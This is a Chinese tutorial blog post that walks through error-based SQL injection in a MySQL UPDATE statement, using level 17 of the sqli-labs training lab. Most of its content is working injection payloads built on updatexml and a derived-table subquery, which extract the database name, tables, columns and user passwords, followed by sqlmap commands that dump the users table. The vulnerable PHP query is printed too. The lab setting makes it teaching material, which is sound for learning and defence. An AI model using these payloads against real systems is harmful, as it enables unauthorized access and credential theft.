POST Update语句注入

POST Update语句注入

1.MySQL update介绍

update语句可以用来修改表中的数据,简单来说基本的使用形式为:
update 表名 set 列名称=新值 where 更新条件;

UPDATE table_name SET field1 = new-value1,field2=new-value2[WHERE Clause]

我们在MySQL命令行中展示,我们以id=8username=adminpassword=admin为例

在这里插入图片描述
执行更新语句

update users set password='admin888' where username='admin';

在这里插入图片描述
可以看到用户名为admin的密码,成功更新为admin888

2.过滤内容介绍

sqli-labs17关为例,源代码如下所示
在这里插入图片描述
判断是否有单引号存在

3.MySQL update注入

分析源代码可以发现,仅仅是对username进行了过滤
在这里插入图片描述
在下面,我们又可以发现一条更新的语句

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

在这里插入图片描述
可以闭合前面的单引号,后面执行我们的SQL语句.

1.进行抓包
当我们使用反斜杠,可以看出password是单引号闭合

uname=admin&passwd=admin\&submit=Submit

在这里插入图片描述

2.闭合单引号,爆破数据库

1'and (updatexml(1,concat(0x7e,database(),0x7e),1)) #

在这里插入图片描述
3.获取数据表信息

admin' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1))#

在这里插入图片描述
4.获取字段
爆破第一个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1))#

在这里插入图片描述

爆破第二个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e),1))#

在这里插入图片描述
爆破第三个字段

admin' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e),1))#

在这里插入图片描述
5.爆破字段内容

dmin' and (updatexml(1,concat(0x7e,(select username,password from users limit 0,1),0x7e),1))#

在这里插入图片描述

You can't specify target table 'users' for update in FROM clause

解决报错的方法,不能使用先select表中的某些值,在update这个表(在同一语句中)。

解决方法:将select出的结果作为派生再select一遍,这样就规避了错误。

admin' or updatexml(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e),1)#

在这里插入图片描述

admin' or updatexml(1,concat(0x7e,(select * from (select password from users limit 0,1) a),0x7e),1)#

在这里插入图片描述

4.sqlmap安全测试

1.获取数据库信息

python2 sqlmap.py -r "1.txt" --dbs

在这里插入图片描述
2.获取表名

python2 sqlmap.py -r "1.txt" -D security --tables

在这里插入图片描述
3.获取字段名及内容

python2 sqlmap.py -r "1.txt" -D security -T users --dump

在这里插入图片描述

5.ps

(1)因为我选择的是默认情况,所以burpsuit不回显数据,但是在前端构造语句也是一样的,可以爆破出数据库及其内容。
(2)由于我的sqlmap出现问题,渗透测试的时候使用了默认情况

6.参考链接

https://www.cnblogs.com/llcn/p/12744772.html

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值